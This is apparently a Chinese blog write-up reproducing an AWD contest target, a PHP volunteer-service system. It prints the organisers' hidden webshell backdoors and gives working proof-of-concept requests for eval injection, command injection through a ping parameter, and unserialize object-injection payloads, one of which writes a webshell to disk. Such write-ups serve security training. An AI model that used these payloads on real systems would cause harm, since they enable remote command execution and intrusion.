安徽省网络攻防赛AWD-志愿者服务系统赛后复现
H1ck
H1ck
H1sec
2026年10月19日 13:40
安徽
去阅读
幻影忍者前情提要:
被打成筛子了,ctf0分,awd零分,果然还是不能太依靠工具和ai。
awd给了三台靶机,一台是搭建的志愿者服务系统,看起来ai味好浓,一台是pwn,还有一台是wordpress 8版的
这里我们主要分析志愿者服务系统,通过代码审计。分析一些比较高危的漏洞
志愿者服务系统
出题人的留的后门:
1:org/smarty/Autofoucer.php
undefined
<?php
eval(get_defined_vars()['_GET']['cmd']);
?>
等价于
eval($_GET['cmd']);
这个一眼木马,不过多赘述
2.include/point\_settle.php
undefined
function baseline() {
return 96;
}
function offsets() {
return array(1, 19, 19, 5, 18, 20);
}
}
这个是一个后门
undefined
97 115 115 101 114 116 => assert
具体调用
return @array_map($op, array($packet));
代入
$op = \"assert\"、$packet = $_POST['settle_token']:
array_map(\"assert\", array($_POST['settle_token']));
等价于
assert($_POST['settle_token']);
第一处命令执行:
index.php
undefined
<?php
$c=isset($_GET['c'])?$_GET['c']:'User';
$a=isset($_GET['a'])?$_GET['a']:'Index';
$obj=run_c($c);
run_a($obj,$a);
?>
原理:
undefined
eval('$obj->'.$action.'();');
POC
undefined
curl -sG \"http://127.0.0.1:7878/index.php\"
--data-urlencode \"c=User\"
--data-urlencode 'a=Index();system($_GET[1]);//'
--data-urlencode \"1=id\"
第二处命令执行
/lib/User.php
undefined
function ping(){
\t$host = $_POST['host'];
system(\"ping -c $host\");
}
}
?>
没有做过滤,也没有做鉴权处理
poc
undefined
POST /index.php?c=User&a=ping
Host: 127.0.0.1:7878
host=1|id
第三处命令执行
common/task.php
undefined
function __destruct(){
if (in_array($this->method, array(\"probe\"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function probe($host){
system(\"ping -c 2 $host\");
__wakeup() 会去掉空格并做 mysql_escape_string(),但不会拦截; ,所以可以直接执行127.0.0.1;id
POC
undefined
POST /common/task.php HTTP/1.1
Host: 127.0.0.1:7878
task_data=O:8:\"TaskNode\":2:{s:16:\"\\0TaskNode\\0method\";s:5:\"probe\";s:14:\"\\0TaskNode\\0args\";a:1:{i:0;s:12:\"127.0.0.1;id\";}}
或者base64编码:
task_data=Tzo4OiJUYXNrTm9kZSI6Mjp7czoxNjoiAFRhc2tOb2RlAG1ldGhvZCI7czo1OiJwcm9iZSI7czoxNDoiAFRhc2tOb2RlAGFyZ3MiO2E6MTp7aTowO3M6MTI6IjEyNy4wLjAuMTtpZCI7fX0=
第四处命令执行
common/archive.php
undefined
class TimeArchive{
var $content = '';
function __wakeup(){
\t$fp = fopen(\"log.php\",\"w\") ;
\tfwrite($fp,$this->content);
\tfclose($fp);
}
}
if ( !preg_match( '/^([adObis]):/', $data, $badions ) )
return false;
case 'O':
if ( preg_match( \"/^{$badions[1]}:[0-9]+:.*[;}]\\$/s\", $data ) )
return true;
if(isset($_POST['name'])){
$post_data=$_POST['name'];
if(is_serialized($post_data)){
echo $post_data;
unserialize($post_data);
}
对象注入任意写,只检查是否以:a: o: s:等开头,所以只要长得像是序列化对象就会被反序列化
POC:
undefined
POST /common/archive.php HTTP/1.1
Host: 127.0.0.1:7878
O:11:\"TimeArchive\":1:{s:7:\"content\";s:25:\"<?php system($_GET[0]);?>\";}
写入了common/log.php中
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论